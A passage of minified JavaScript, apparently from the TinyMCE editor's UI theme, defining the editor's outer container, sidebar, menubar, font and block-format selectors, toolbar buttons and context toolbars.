e=t.editor,n=t.sticky?n1:RO;return{uid:t.uid,dom:t.dom,components:t.components,behaviours:ec(n(e,t.sharedBackstage))}}},name:"header",schema:[mo("dom")]}),E_=EO.optional({name:"socket",schema:[mo("dom")]}),D_=EO.optional({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"div",classes:["tox-sidebar"],attributes:{role:"complementary"}},components:[{dom:{tag:"div",classes:["tox-sidebar__slider"]},components:[],behaviours:ec([gx.config({}),Mg.config({}),t_.config({dimension:{property:"width"},closedClass:"tox-sidebar--sliding-closed",openClass:"tox-sidebar--sliding-open",shrinkingClass:"tox-sidebar--sliding-shrinking",growingClass:"tox-sidebar--sliding-growing",onShrunk:function(t){cd.getCurrent(t).each(r_.hideAllSlots),vr(t,a_)},onGrown:function(t){vr(t,a_)},onStartGrow:function(t){br(t,u_,{width:pe(t.element,"width").getOr("")})},onStartShrink:function(t){br(t,u_,{width:Ce(t.element)+"px"})}}),Dg.config({}),cd.config({find:function(t){return Y(Dg.contents(t))}})])}],behaviours:ec([ak(0),mm("sidebar-sliding-events",[Cr(u_,function(t,e){fe(t.element,"width",e.event.width)}),Cr(a_,function(t,e){ve(t.element,"width")})])])}}},name:"sidebar",schema:[mo("dom")]}),A_=EO.optional({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"div",attributes:{"aria-hidden":"true"},classes:["tox-throbber"],styles:{display:"none"}},behaviours:ec([Dg.config({}),s_.config({focus:!1}),cd.config({find:function(t){return Y(t.components())}})]),components:[]}}},name:"throbber",schema:[mo("dom")]}),B_=Cl({name:"OuterContainer",factory:function(n,t,e){return{uid:n.uid,dom:n.dom,components:t,apis:{getSocket:function(t){return TO.getPart(t,n,"socket")},setSidebar:function(t,e){TO.getPart(t,n,"sidebar").each(function(t){return v1(t,e)})},toggleSidebar:function(t,e){TO.getPart(t,n,"sidebar").each(function(t){var n=e;cd.getCurrent(t).each(function(e){cd.getCurrent(e).each(function(t){t_.hasGrown(e)?r_.isShowing(t,n)?t_.shrink(e):(r_.hideAllSlots(t),r_.showSlot(t,n)):(r_.hideAllSlots(t),r_.showSlot(t,n),t_.grow(e))})})})},whichSidebar:function(t){return TO.getPart(t,n,"sidebar").bind(b1).getOrNull()},getHeader:function(t){return TO.getPart(t,n,"header")},getToolbar:function(t){return TO.getPart(t,n,"toolbar")},setToolbar:function(t,e){TO.getPart(t,n,"toolbar").each(function(t){t.getApis().setGroups(t,e)})},setToolbars:function(t,e){TO.getPart(t,n,"multiple-toolbar").each(function(t){BO.setItems(t,e)})},refreshToolbar:function(t){TO.getPart(t,n,"toolbar").each(function(t){return t.getApis().refresh(t)})},toggleToolbarDrawer:function(t){TO.getPart(t,n,"toolbar").each(function(e){var t=e.getApis().toggle;null!=t?vt.some(function(t){return t(e)}(t)):vt.none()})},isToolbarDrawerToggled:function(t){return TO.getPart(t,n,"toolbar").bind(function(e){return vt.from(e.getApis().isOpen).map(function(t){return t(e)})}).getOr(!1)},getThrobber:function(t){return TO.getPart(t,n,"throbber")},focusToolbar:function(t){TO.getPart(t,n,"toolbar").orThunk(function(){return TO.getPart(t,n,"multiple-toolbar")}).each(function(t){Tg.focusIn(t)})},setMenubar:function(t,e){TO.getPart(t,n,"menubar").each(function(t){$O.setMenus(t,e)})},focusMenubar:function(t){TO.getPart(t,n,"menubar").each(function(t){$O.focus(t)})}},behaviours:n.behaviours}},configFields:[mo("dom"),mo("behaviours")],partFields:[T_,C_,__,O_,E_,D_,A_],apis:{getSocket:function(t,e){return t.getSocket(e)},setSidebar:function(t,e,n){t.setSidebar(e,n)},toggleSidebar:function(t,e,n){t.toggleSidebar(e,n)},whichSidebar:function(t,e){return t.whichSidebar(e)},getHeader:function(t,e){return t.getHeader(e)},getToolbar:function(t,e){return t.getToolbar(e)},setToolbar:function(t,e,n){var o=B(n,F1);t.setToolbar(e,o)},setToolbars:function(t,e,n){var o=B(n,function(t){return B(t,F1)});t.setToolbars(e,o)},refreshToolbar:function(t,e){return t.refreshToolbar(e)},toggleToolbarDrawer:function(t,e){t.toggleToolbarDrawer(e)},isToolbarDrawerToggled:function(t,e){return t.isToolbarDrawerToggled(e)},getThrobber:function(t,e){return t.getThrobber(e)},setMenubar:function(t,e,n){t.setMenubar(e,n)},focusMenubar:function(t,e){t.focusMenubar(e)},focusToolbar:function(t,e){t.focusToolbar(e)}}}),M_={file:{title:"File",items:"newdocument restoredraft | preview | export print | deleteallconversations"},edit:{title:"Edit",items:"undo redo | cut copy paste pastetext | selectall | searchreplace"},view:{title:"View",items:"code | visualaid visualchars visualblocks | spellchecker | preview fullscreen | showcomments"},insert:{title:"Insert",items:"image link media addcomment pageembed template codesample inserttable | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},format:{title:"Format",items:"bold italic underline strikethrough superscript subscript codeformat | formats blockformats fontformats fontsizes align lineheight | forecolor backcolor | language | removeformat"},tools:{title:"Tools",items:"spellchecker spellcheckerlanguage | a11ycheck code wordcount"},table:{title:"Table",items:"inserttable | cell row column | advtablesort | tableprops deletetable"},help:{title:"Help",items:"help"}},F_=C(z1,!1),I_=C(z1,!0);function R_(t,e,n,o){var r;return{type:"basic",data:(r=t.getParam(e,n,"string"),B(o===Q1.SemiColon?r.replace(/;$/,"").split(";"):r.split(" "),function(t){var e=t,n=t,o=t.split("=");return 1<o.length&&(e=o[0],n=o[1]),{title:e,format:n}}))}}function N_(n){var t={type:"basic",data:pT};return{tooltip:"Align",text:vt.none(),icon:vt.some("align-left"),isSelectedFor:function(t){return function(){return n.formatter.match(t)}},getCurrentValue:vt.none,getPreviewFor:function(t){return vt.none},onAction:function(e){return function(){return N(pT,function(t){return t.format===e.format}).each(function(t){return n.execCommand(t.command)})}},updateText:function(t){var e=N(pT,function(t){return n.formatter.match(t.format)}).fold(rt("left"),function(t){return t.title.toLowerCase()});br(t,Nk,{icon:"align-"+e})},dataset:t,shouldHide:!1,isInvalid:function(t){return!n.formatter.canApply(t.format)}}}function P_(t){return B(t.split(/\s*,\s*/),function(t){return t.replace(/^['"]+|['"]+$/g,"")})}function V_(r){function i(){function n(t){return t?P_(t)[0]:""}var t=r.queryCommandValue("FontName"),e=a.data,o=t?t.toLowerCase():"";return{matchOpt:N(e,function(t){var e=t.format;return e.toLowerCase()===o||n(e).toLowerCase()===n(o).toLowerCase()}).orThunk(function(){return ot(0===(t=o).indexOf("-apple-system")&&(e=P_(t.toLowerCase()),L(hT,function(t){return-1<e.indexOf(t.toLowerCase())})),{title:u,format:o});var t,e}),font:t}}var u="System Font",a=R_(r,"font_formats","Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats",Q1.SemiColon);return{tooltip:"Fonts",text:vt.some(u),icon:vt.none(),isSelectedFor:function(e){return function(t){return t.exists(function(t){return t.format===e})}},getCurrentValue:function(){return i().matchOpt},getPreviewFor:function(t){return function(){return vt.some({tag:"div",styles:-1===t.indexOf("dings")?{"font-family":t}:{}})}},onAction:function(t){return function(){r.undoManager.transact(function(){r.focus(),r.execCommand("FontName",!1,t.format)})}},updateText:function(t){var e=i(),n=e.matchOpt,o=e.font,r=n.fold(rt(o),function(t){return t.title});br(t,Rk,{text:r})},dataset:a,shouldHide:!1,isInvalid:T}}function H_(n){function i(){var a=vt.none(),c=o.data,s=n.queryCommandValue("FontSize");if(s)for(var t=function(t){var e,n,o,r,i=(n=t,/[0-9.]+px$/.test(e=s)?(o=72*parseInt(e,10)/96,r=Math.pow(10,n||0),Math.round(o*r)/r+"pt"):tt(bT,e).getOr(e)),u=tt(vT,i).getOr("");a=N(c,function(t){return t.format===s||t.format===i||t.format===u})},e=3;a.isNone()&&0<=e;e--)t(e);return{matchOpt:a,size:s}}var t=rt(vt.none),o=R_(n,"fontsize_formats","8pt 10pt 12pt 14pt 18pt 24pt 36pt",Q1.Space);return{tooltip:"Font sizes",text:vt.some("12pt"),icon:vt.none(),isSelectedFor:function(e){return function(t){return t.exists(function(t){return t.format===e})}},getPreviewFor:t,getCurrentValue:function(){return i().matchOpt},onAction:function(t){return function(){n.undoManager.transact(function(){n.focus(),n.execCommand("FontSize",!1,t.format)})}},updateText:function(t){var e=i(),n=e.matchOpt,o=e.size,r=n.fold(rt(o),function(t){return t.title});br(t,Rk,{text:r})},dataset:o,shouldHide:!1,isInvalid:T}}function L_(t,e){var n=e(),o=B(n,function(t){return t.format});return vt.from(t.formatter.closest(o)).bind(function(e){return N(n,function(t){return t.format===e})}).orThunk(function(){return ot(t.formatter.match("p"),{title:"Paragraph",format:"p"})})}function z_(n){var o=R_(n,"block_formats","Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre",Q1.SemiColon);return{tooltip:"Blocks",text:vt.some("Paragraph"),icon:vt.none(),isSelectedFor:function(t){return function(){return n.formatter.match(t)}},getCurrentValue:vt.none,getPreviewFor:function(e){return function(){var t=n.formatter.get(e);return vt.some({tag:0<t.length&&(t[0].inline||t[0].block)||"div",styles:n.dom.parseStyle(n.formatter.getCssText(e))})}},onAction:W1(n),updateText:function(t){var e=L_(n,function(){return o.data}).fold(rt("Paragraph"),function(t){return t.title});br(t,Rk,{text:e})},dataset:o,shouldHide:!1,isInvalid:function(t){return!n.formatter.canApply(t.format)}}}function U_(r,t){return{tooltip:"Formats",text:vt.some("Paragraph"),icon:vt.none(),isSelectedFor:function(t){return function(){return r.formatter.match(t)}},getCurrentValue:vt.none,getPreviewFor:function(e){return function(){var t=r.formatter.get(e);return void 0!==t?vt.some({tag:0<t.length&&(t[0].inline||t[0].block)||"div",styles:r.dom.parseStyle(r.formatter.getCssText(e))}):vt.none()}},onAction:W1(r),updateText:function(t){var n=function(t){var e=t.items;return void 0!==e&&0<e.length?H(e,n):[{title:t.title,format:t.format}]},e=H(vC(r),n),o=L_(r,rt(e)).fold(rt("Paragraph"),function(t){return t.title});br(t,Rk,{text:o})},shouldHide:r.getParam("style_formats_autohide",!1,"boolean"),isInvalid:function(t){return!r.formatter.canApply(t.format)},dataset:t}}function j_(e){return{isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}}function W_(e){return{setActive:function(t){Rg.set(e,t)},isActive:function(){return Rg.isOn(e)},isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}}function G_(t,e){return t.map(function(t){return{"aria-label":e.translate(t),title:e.translate(t)}}).getOr({})}function X_(e,n,t,o,r,i){var u;return{dom:{tag:"button",classes:["tox-tbtn"].concat(n.isSome()?["tox-tbtn--select"]:[]),attributes:G_(t,i)},components:Zb([e.map(function(t){return Pw(t,i.icons)}),n.map(function(t){return Hw(t,"tox-tbtn",i)})]),eventOrder:((u={})[mi()]=["focusing","alloy.base.behaviour","common-button-display-events"],u),buttonBehaviours:ec([$b(i.isDisabled),gb(),mm("common-button-display-events",[Cr(mi(),function(t,e){e.event.prevent(),vr(t,OT)})])].concat(o.map(function(t){return wT.config({channel:t,initialData:{icon:e,text:n},renderComponents:function(t,e){return Zb([t.icon.map(function(t){return Pw(t,i.icons)}),t.text.map(function(t){return Hw(t,"tox-tbtn",i)})])}})}).toArray()).concat(r.getOr([])))}}function Y_(t,e,n){var o,r=Po(st),i=X_(t.icon,t.text,t.tooltip,vt.none(),vt.none(),n);return ip.sketch({dom:i.dom,components:i.components,eventOrder:Ik,buttonBehaviours:ec([mm("toolbar-button-events",[(o={onAction:t.onAction,getApi:e.getApi},uu(function(e,t){pb(o,e)(function(t){br(e,Fk,{buttonApi:t}),o.onAction(t)})})),hb(e,r),vb(e,r)]),$b(function(){return t.disabled||n.isDisabled()}),gb()].concat(e.toolbarButtonBehaviours))})}function q_(r,i){return function(t,e,n){var o=r(t).mapError(function(t){return ur(t)}).getOrDie();return i(o,e,n)}}function K_(n,t,o,r){var e,i=t.outerContainer,u=o.toolbar,a=o.buttons;f(u,y)?(e=u.map(function(t){var e={toolbar:t,buttons:a,allowToolbarGroups:o.allowToolbarGroups};return BT(n,e,{backstage:r},vt.none())}),B_.setToolbars(i,e)):B_.setToolbar(i,BT(n,o,{backstage:r},vt.none()))}function J_(t){return/^[0-9\.]+(|px)$/i.test(""+t)?vt.some(parseInt(""+t,10)):vt.none()}function $_(t){return u(t)?t+"px":t}function Q_(e,t,n){var o=t.filter(function(t){return e<t}),r=n.filter(function(t){return t<e});return o.or(r).getOr(e)}function Z_(t){var e=sv(t),n=lv(t),o=dv(t);return J_(e).map(function(t){return Q_(t,n,o)})}function tT(u,a,t,e,c){function s(){return x.get()&&!u.removed}function l(t){return y?t.fold(rt(0),function(t){return 1<t.components().length?xe(t.components()[1].element):0}):0}function f(){r.broadcastOn([xf()],{})}function o(t){var e,n,o,r,i;void 0===t&&(t=!1),s()&&(m||(e=p.getOrThunk(function(){var t=J_(ge(bn(),"margin-left")).getOr(0);return Ce(bn())-ke(a).left+t}),fe(c.get().element,"max-width",e+"px")),y&&B_.refreshToolbar(d),m||(n=l(B_.getToolbar(d)),o=Mn(a),r=v()?Math.max(o.y-xe(c.get().element)+n,0):o.bottom,de(d.element,{position:"absolute",top:Math.round(r)+"px",left:Math.round(o.x)+"px"})),g&&(i=c.get(),t?zO.reset(i):zO.refresh(i)),f())}function n(t){var e,n;void 0===t&&(t=!0),!m&&g&&s()&&(e=h.getDockingMode(),(n=function(t){switch(ib(u)){case yv.auto:var e=l(B_.getToolbar(d)),n=xe(t.element)-e,o=Mn(a);if(o.y>n)return"top";var r=Gt(a),i=Math.max(r.dom.scrollHeight,xe(r));return o.bottom<i-n||Fn().bottom<o.bottom-n?"bottom":"top";case yv.bottom:return"bottom";default:return yv.top,"top"}}(c.get()))!==e&&(function(t){var e=c.get();zO.setModes(e,[t]),h.setDockingMode(t);var n=v()?Oc.TopToBottom:Oc.BottomToTop;oe(e.element,ns,n)}(n),t&&o(!0)))}var r=t.uiMothership,d=t.outerContainer,i=eb.DOM,m=cb(u),g=fb(u),p=dv(u).or(Z_(u)),h=e.shared.header,v=h.isPositionedAtTop,b=rb(u),y=b===vv.sliding||b===vv.floating,x=Po(!1);return{isVisible:s,isPositionedAtTop:v,show:function(){x.set(!0),fe(d.element,"display","flex"),i.addClass(u.getBody(),"mce-edit-focus"),ve(r.element,"display"),n(!1),o()},hide:function(){x.set(!1),t.outerContainer&&(fe(d.element,"display","none"),i.removeClass(u.getBody(),"mce-edit-focus")),fe(r.element,"display","none")},update:o,updateMode:n,repositionPopups:f}}function eT(t,e){var n=Mn(t);return{pos:e?n.y:n.bottom,bounds:n}}function nT(i,u){return Cr(Fk,function(t,e){var n,o=i.get(t),r=(n=o,{hide:function(){return vr(n,Vi())},getValue:function(){return Df.getValue(n)}});u.onAction(r,e.event.buttonApi)})}function oT(t,e,n){return e.bottom-t.y>=(n=void 0===n?.01:n)&&t.bottom-e.y>=n}function rT(t){var e=function(t){var e=t.getBoundingClientRect();if(e.height<=0&&e.width<=0){var n=Qt(Mt.fromDom(t.startContainer),t.startOffset).element;return(Xe(n)?Yt(n):vt.some(n)).filter(Ge).map(function(t){return t.dom.getBoundingClientRect()}).getOr(e)}return e}(t.selection.getRng());if(t.inline){var n=Ie();return Bn(n.left+e.left,n.top+e.top,e.width,e.height)}var o=He(Mt.fromDom(t.getBody()));return Bn(o.x+e.left,o.y+e.top,e.width,e.height)}function iT(t,e,n,o){void 0===o&&(o=0);var r,i,u,a,c=Pe(window),s=Mn(Mt.fromDom(t.getContentAreaContainer())),l=gv(t)||pv(t)||ob(t),f=(r=s,i=c,u=o,{x:a=Math.max(r.x+u,i.x),width:Math.min(r.right-u,i.right)-a}),d=f.x,m=f.width;if(t.inline&&!l)return Bn(d,c.y,m,c.height);var g=function(t,e,n,o,r,i){var u=Mt.fromDom(t.getContainer()),a=Iu(u,".tox-editor-header").getOr(u),c=Mn(a),s=c.y>=e.bottom,l=o&&!s;if(t.inline&&l)return{y:Math.max(c.bottom+i,n.y),bottom:n.bottom};if(t.inline&&!l)return{y:n.y,bottom:Math.min(c.y-i,n.bottom)};var f="line"===r?Mn(u):e;return l?{y:Math.max(c.bottom+i,n.y),bottom:Math.min(f.bottom-i,n.bottom)}:{y:Math.max(f.y+i,n.y),bottom:Math.min(c.y-i,n.bottom)}}(t,s,c,e.header.isPositionedAtTop(),n,o),p=g.y,h=g.bottom;return Bn(d,p,m,h-p)}function uT(t){return"node"===t}function aT(t,r,e,i,n){var u=rT(t),o=i.lastElement().exists(function(t){return zt(e,t)}),a=e,c=t.selection.getRng(),s=Qt(Mt.fromDom(c.startContainer),c.startOffset);return c.startContainer===c.endContainer&&c.startOffset===c.endOffset-1&&zt(s.element,a)?o?Nm:np:o?function(e,t){var n=pe(e,"position");fe(e,"position",t);var o=oT(u,Mn(r))&&!i.isReposition()?Vm:Nm;return n.each(function(t){return fe(e,"position",t)}),o}(r,i.getMode()):("fixed"===i.getMode()?n.y+Ie().top:n.y)+(xe(r)+12)<=u.y?np:op}function cT(e,t){var n=M(F(t,function(t){return t.predicate(e.dom)}),function(t){return"contexttoolbar"===t.type});return{contextToolbars:n.pass,contextForms:n.fail}}function sT(n,t){function o(t){return zt(t,r)}var e,r=Mt.fromDom(t.getBody()),i=Mt.fromDom(t.selection.getNode());return o(e=i)||Ut(r,e)?function(t,e,n){var o=cT(t,e);if(0<o.contextForms.length)return vt.some({elem:t,toolbars:[o.contextForms[0]]});var r=cT(t,n);if(0<r.contextForms.length)return vt.some({elem:t,toolbars:[r.contextForms[0]]});if(0<o.contextToolbars.length||0<r.contextToolbars.length){var i=function(t){if(t.length<=1)return t;function e(e){return d(t,function(t){return t.position===e})}function n(e){return F(t,function(t){return t.position===e})}var o=e("selection"),r=e("node");if(o||r){if(r&&o){var i=n("node"),u=B(n("selection"),function(t){return lt(lt({},t),{position:"node"})});return i.concat(u)}return n(o?"selection":"node")}return n("line")}(o.contextToolbars.concat(r.contextToolbars));return vt.some({elem:t,toolbars:i})}return vt.none()}(i,n.inNodeScope,n.inEditorScope).orThunk(function(){return a=n,(t=o)(e=i)?vt.none():dr(e,function(t){if(Ge(t)){var e=cT(t,a.inNodeScope),n=e.contextToolbars,o=e.contextForms,r=0<o.length?o:(u=n).length<=1?u:i("selection").orThunk(function(){return i("node")}).orThunk(function(){return i("line")}).map(function(t){return t.position}).fold(function(){return[]},function(e){return F(u,function(t){return t.position===e})});return 0<r.length?vt.some({elem:t,toolbars:r}):vt.none()}function i(e){return N(u,function(t){return t.position===e})}var u;return vt.none()},t);var t,e,a}):vt.none()}function lT(a,c){var s={},l=[],f=[],d={},m={},t=Ct(a);return St(t,function(t){var e,n,o,r,i,u=a[t];"contextform"===u.type?(o=t,i=co(ao("ContextForm",Yh,r=u)),(s[o]=i).launch.map(function(t){d["form:"+o]=lt(lt({},r.launch),{type:"contextformtogglebutton"===t.type?"togglebutton":"button",onAction:function(){c(i)}})}),("editor"===i.scope?f:l).push(i),m[o]=i):"contexttoolbar"===u.type&&(e=t,ao("ContextToolbar",qh,n=u).each(function(t){("editor"===n.scope?f:l).push(t),m[e]=t}))}),{forms:s,inNodeScope:l,inEditorScope:f,lookupTable:m,formNavigators:d}}function fT(d,t,m,u){function a(){var t=y.get().getOr("node"),e=uT(t)?1:0;return iT(d,p,t,e)}function c(){return!(d.removed||h()&&g.isContextMenuOpen())}function s(){if(c()){var t=a(),e=mt(y.get(),"node")?(n=d,v.get().filter(vn).map(He).getOrThunk(function(){return rT(n)})):rT(d);return t.height<=0||!oT(e,t)}return 1;var n}function e(){v.clear(),b.clear(),y.clear(),tp.hide(x)}function n(){var t;tp.isOpen(x)&&(ve(t=x.element,"display"),s()?fe(t,"display","none"):(b.set(0),tp.reposition(x)))}function l(t){return{dom:{tag:"div",classes:["tox-pop__dialog"]},components:[t],behaviours:ec([Tg.config({mode:"acyclic"}),mm("pop-dialog-wrap-events",[ou(function(t){d.shortcuts.add("ctrl+F9","focus statusbar",function(){return Tg.focusIn(t)})}),ru(function(t){d.shortcuts.remove("ctrl+F9")})])])}}function f(t,e){var n,o,r,i,c,s,u,a="node"===t?p.anchors.node(e):p.anchors.cursor(),l=(n=d,o=t,r=h(),i={lastElement:v.get,isReposition:function(){return mt(b.get(),0)},getMode:function(){return ff.getMode(m)}},"line"===o?{bubble:Sc(12,0,VT),layouts:{onLtr:function(){return[la]},onRtl:function(){return[fa]}},overrides:HT}:{bubble:Sc(0,12,VT,1/12),layouts:(c=n,s=i,u=o,r?{onLtr:function(t){return[$a,Xa,Ya,qa,Ka,Ja].concat(f(t))},onRtl:function(t){return[$a,Ya,Xa,Ka,qa,Ja].concat(f(t))}}:{onLtr:function(t){return[Ja,$a,qa,Xa,Ka,Ya].concat(f(t))},onRtl:function(t){return[Ja,$a,Ka,Ya,qa,Xa].concat(f(t))}}),overrides:HT});function f(t){return uT(u)?[(a=t,function(t,e,n,o,r){var i=aT(c,o,a,s,r),u=lt(lt({},t),{y:r.y,height:r.height});return lt(lt({},i(u,e,n,o,r)),{alwaysFit:!0})})]:[];var a}return Yo(a,l)}function o(t,e){var n,o,r,i;k.cancel(),c()&&(n=S(t),r=f(o=t[0].position,e),y.set(o),b.set(1),ve(i=x.element,"display"),mt(Et(e,v.get(),zt),!0)||(qr(i,WT),ff.reset(m,x)),tp.showWithinBounds(x,l(n),{anchor:r,transition:{classes:[WT],mode:"placement"}},function(){return vt.some(a())}),e.fold(v.clear,v.set),s()&&fe(i,"display","none"))}var r,i,g=u.backstage,p=g.shared,h=ln().deviceType.isTouch,v=gc(),b=gc(),y=gc(),x=Tu((r={sink:m,onEscape:function(){return d.focus(),vt.some(!0)}},i=Po([]),tp.sketch({dom:{tag:"div",classes:["tox-pop"]},fireDismissalEventInstead:{event:"doNotDismissYet"},onShow:function(t){i.set([]),tp.getContent(t).each(function(t){ve(t.element,"visibility")}),qr(t.element,jT),ve(t.element,"width")},inlineBehaviours:ec([mm("context-toolbar-events",[Ar(_i(),function(t,e){"width"===e.event.raw.propertyName&&(qr(t.element,jT),ve(t.element,"width"))}),Cr(UT,function(t,e){var n=t.element;ve(n,"width");var o=Ce(n);tp.setContent(t,e.event.contents),Yr(n,jT);var r=Ce(n);fe(n,"width",o+"px"),tp.getContent(t).each(function(t){e.event.focus.bind(function(t){return ka(t),_a(n)}).orThunk(function(){return Tg.focusIn(t),Oa(gn(n))})}),rp.setTimeout(function(){fe(t.element,"width",r+"px")},0)}),Cr(LT,function(e,t){tp.getContent(e).each(function(t){i.set(i.get().concat([{bar:t,focus:Oa(gn(e.element))}]))}),br(e,UT,{contents:t.event.forwardContents,focus:vt.none()})}),Cr(zT,function(e,t){q(i.get()).each(function(t){i.set(i.get().slice(0,i.get().length-1)),br(e,UT,{contents:Eu(t.bar),focus:t.focus})})})]),Tg.config({mode:"special",onEscape:function(e){return q(i.get()).fold(function(){return r.onEscape()},function(t){return vr(e,zT),vt.some(!0)})}})]),lazySink:function(){return Nn.value(r.sink)}}))),w=Rt(function(){return lT(t,function(t){var e=S([t]);br(x,LT,{forwardContents:l(e)})})}),S=function(t){var e=d.ui.registry.getAll().buttons,n=w(),o=lt(lt({},e),n.formNavigators),r=rb(d)===vv.scrolling?vv.scrolling:vv.default,i=ft(B(t,function(t){return"contexttoolbar"===t.type?BT(d,{buttons:o,toolbar:t.items,allowToolbarGroups:!1},u,vt.some(["form:"])):(e=p.providers,PT(t,e));var e}));return N1({type:r,uid:Ir("context-toolbar"),initGroups:i,onEscape:vt.none,cyclicKeying:!0,providers:p.providers})},k=hh(function(){d.hasFocus()&&!d.removed&&(Kr(x.element,WT)?k.throttle():sT(w(),d).fold(e,function(t){o(t.toolbars,vt.some(t.elem))}))},17);d.on("init",function(){d.on("remove",e),d.on("ScrollContent ScrollWindow ObjectResized ResizeEditor longpress",n),d.on("click keyup focus SetContent",k.throttle),d.on(NT,e),d.on("contexttoolbar-show",function(e){tt(w().lookupTable,e.toolbarKey).each(function(t){o([t],ot(e.target!==d,e.target)),tp.getContent(x).each(Tg.focusIn)})}),d.on("focusout",function(t){rp.setEditorTimeout(d,function(){_a(m.element).isNone()&&_a(x.element).isNone()&&e()},0)}),d.on("SwitchMode",function(){d.mode.isReadOnly()&&e()}),d.on("AfterProgressState",function(t){t.state?e():d.hasFocus()&&k.throttle()}),d.on("NodeChange",function(t){_a(x.element).fold(k.throttle,st)})})}(Z1=Q1=Q1||{})[Z1.SemiColon=0]="SemiColon",Z1[Z1.Space=1]="Space";var dT,mT,gT,pT=[{title:"Left",icon:"align-left",format:"alignleft",command:"JustifyLeft"},{title:"Center",icon:"align-center",format:"aligncenter",command:"JustifyCenter"},{title:"Right",icon:"align-right",format:"alignright",command:"JustifyRight"},{title:"Justify",icon:"align-justify",format:"alignjustify",command:"JustifyFull"}],hT=["-apple-system","Segoe UI","Roboto","Helvetica Neue","sans-serif"],vT={"8pt":"1","10pt":"2","12pt":"3","14pt":"4","18pt":"5","24pt":"6","36pt":"7"},bT={"xx-small":"7pt","x-small":"8pt",small:"10pt",medium:"12pt",large:"14pt","x-large":"18pt","xx-large":"24pt"},yT=Object.freeze({__proto__:null,events:function(r,i){function u(n,o){r.updateState.each(function(t){var e=t(n,o);i.set(e)}),r.renderComponents.each(function(t){var e=B(t(o,i.get()),n.getSystem().build);Rs(n,e)})}return nu([Cr(Fi(),function(t,e){var n,o=e;o.universal||(n=r.channel,wt(o.channels,n)&&u(t,o.data))}),ou(function(e,t){r.initialData.each(function(t){u(e,t)})})])}}),xT=Object.freeze({__proto__:null,getState:function(t,e,n){return n}}),wT=xa({fields:[mo("channel"),wo("renderComponents"),wo("updateState"),wo("initialData")],name:"reflecting",active:yT,apis:xT,state:Object.freeze({__proto__:null,init:function(){var t=Po(vt.none());return{readState:function(){return t.get().getOr("none")},get:t.get,set:t.set,clear:function(){return t.set(vt.none())}}}})}),ST=rt([mo("toggleClass"),mo("fetch"),Qu("onExecute"),Eo("getHotspot",vt.some),Eo("getAnchorOverrides",rt({})),Uc(),Qu("onItemExecute"),wo("lazySink"),mo("dom"),Ju("onOpen"),Zs("splitDropdownBehaviours",[Jx,Tg,Mg]),Eo("matchWidth",!1),Eo("useMinWidth",!1),Eo("eventOrder",{}),wo("role")].concat(i0())),kT=rt([Jf({factory:ip,schema:[mo("dom")],name:"arrow",defaults:function(){return{buttonBehaviours:ec([Mg.revoke()])}},overrides:function(e){return{dom:{tag:"span",attributes:{role:"presentation"}},action:function(t){t.getSystem().getByUid(e.uid).each(yr)},buttonBehaviours:ec([Rg.config({toggleOnExecute:!1,toggleClass:e.toggleClass})])}}}),Jf({factory:ip,schema:[mo("dom")],name:"button",defaults:function(){return{buttonBehaviours:ec([Mg.revoke()])}},overrides:function(n){return{dom:{tag:"span",attributes:{role:"presentation"}},action:function(e){e.getSystem().getByUid(n.uid).each(function(t){n.onExecute(t,e)})}}}}),Qf({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"span",styles:{display:"none"},attributes:{"aria-hidden":"true"},innerHtml:t.text}}}},schema:[mo("text")],name:"aria-descriptor"}),$f({schema:[Yu()],name:"menu",defaults:function(o){return{onExecute:function(e,n){e.getSystem().getByUid(o.uid).each(function(t){o.onItemExecute(t,e,n)})}}}}),Qx()]),CT=Cl({name:"SplitDropdown",configFields:ST(),partFields:kT(),factory:function(o,t,e,n){function r(t){cd.getCurrent(t).each(function(t){hd.highlightFirst(t),Tg.focusIn(t)})}function i(t){e0(o,h,t,n,r,Px.HighlightFirst).get(st)}function u(t){return yr(gl(t,o,"button")),vt.some(!0)}var a,c=lt(lt({},nu([ou(function(n,t){ml(n,o,"aria-descriptor").each(function(t){var e=Ir("aria");oe(t.element,"id",e),oe(n.element,"aria-describedby",e)})})])),Sm(vt.some(i))),s={repositionMenus:function(t){Rg.isOn(t)&&r0(t)}};return{uid:o.uid,dom:o.dom,components:t,apis:s,eventOrder:lt(lt({},o.eventOrder),((a={})[Ii()]=["disabling","toggling","alloy.base.behaviour"],a)),events:c,behaviours:el(o.splitDropdownBehaviours,[Jx.config({others:{sandbox:function(t){var e=gl(t,o,"arrow");return o0(o,t,{onOpen:function(){Rg.on(e),Rg.on(t)},onClose:function(){Rg.off(e),Rg.off(t)}})}}}),Tg.config({mode:"special",onSpace:u,onEnter:u,onDown:function(t){return i(t),vt.some(!0)}}),Mg.config({}),Rg.config({toggleOnExecute:!1,aria:{mode:"expanded"}})]),domModification:{attributes:{role:o.role.getOr("button"),"aria-haspopup":!0}}}},apis:{repositionMenus:function(t,e){return t.repositionMenus(e)}}}),OT=Ir("focus-button"),_T=function(t,e,n){return Y_(t,{toolbarButtonBehaviours:[].concat(0<n.length?[mm("toolbarButtonWith",n)]:[]),getApi:j_,onSetup:t.onSetup},e)},TT=function(t,e,n){return 